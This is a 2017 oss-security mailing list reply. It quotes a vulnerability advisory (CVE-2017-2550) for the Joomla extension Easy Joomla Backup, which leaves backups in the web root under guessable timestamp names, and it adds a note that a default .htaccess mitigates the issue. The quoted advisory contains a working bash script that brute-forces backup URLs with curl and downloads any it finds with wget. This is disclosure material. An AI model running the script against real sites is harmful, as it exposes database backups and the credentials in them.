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Date: Thu, 28 Sep 2017 15:09:11 +0200
From: David Jardin <david.jardin@...munity.joomla.org>
To: oss-security@...ts.openwall.com
Subject: Re: Joomla extension Easy Joomla Backup v3.2.4
database backup exposure
It’s worth to mention that the extension has a default .htaccess file with a „deny from all“ in the backup directory, that will mitigate the described attack on pretty much any standard shared-hosting platform that I’m aware of.
Am 28. September 2017 um 14:37:20, Larry W. Cashdollar (larry0@...com) schrieb:
Title: Joomla extension Easy Joomla Backup v3.2.4 database backup exposure
Author: Larry W. Cashdollar, @_larry0
Date: 2017-09-07
CVE-ID:[CVE-2017-2550]
Download Site: https://joomla-extensions.kubik-rubik.de/ejb-easy-joomla-backup
Vendor: kubik-rubik
Vendor Notified: 2017-09-07
Vendor Contact:
Advisory: http://www.vapidlabs.com/advisory.php?v=200
Description: Easy Joomla Backup creates 'old-school' backups without any frills.
Vulnerability:
The software creates a copy of the backup in the web root. The file name is easily guessable as it's just a time stamp:
http://example.com/administrator/components/com_easyjoomlabackup/backups/DOMAIN_YEAR-MONTH-DAY_H-M-S.zip
Exploit Code:
• #!/bin/bash
• #Larry W. Cashdollar, @_larry0 9/7/2017
• #Bruteforce download backups for Joomla Extension Easy Joomla Backup v3.2.4
• #https://joomla-extensions.kubik-rubik.de/ejb-easy-joomla-backup
• MONTH=09
• DAY=07
• YEAR=2017
• Z=0
• #May need to set the DOMAIN to $1 the target depending on how WP is configured.
• DOMAIN=192.168.0.163
•
• echo "Scanning website for available backups:"
• for y in `seq -w 0 23`; do
• for x in `seq -w 0 59`; do
• Y=`echo "scale=2;($Z/86000)*100"|bc`;
• echo -ne "\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b$CPATH $Y%"
• for z in `seq -w 0 59`; do
• Z=$(( $Z + 1 ));
• CPATH="http://$1/administrator/components/com_easyjoomlabackup/backups/"$DOMAIN"_"$YEAR"-"$MONTH"-"$DAY"_"$y"-"$x"-"$z".zip";
• RESULT=`curl -s --head $CPATH|grep 200`;
• if [ -n "$RESULT" ]; then
• echo ""
• echo "[+] Location $CPATH Found";
• echo "[+] Received $RESULT";
• echo "Downloading......";
• wget $CPATH
• fi;
• done
• done
• done
• echo "Completed."
--
Kind Regards,
David Jardin
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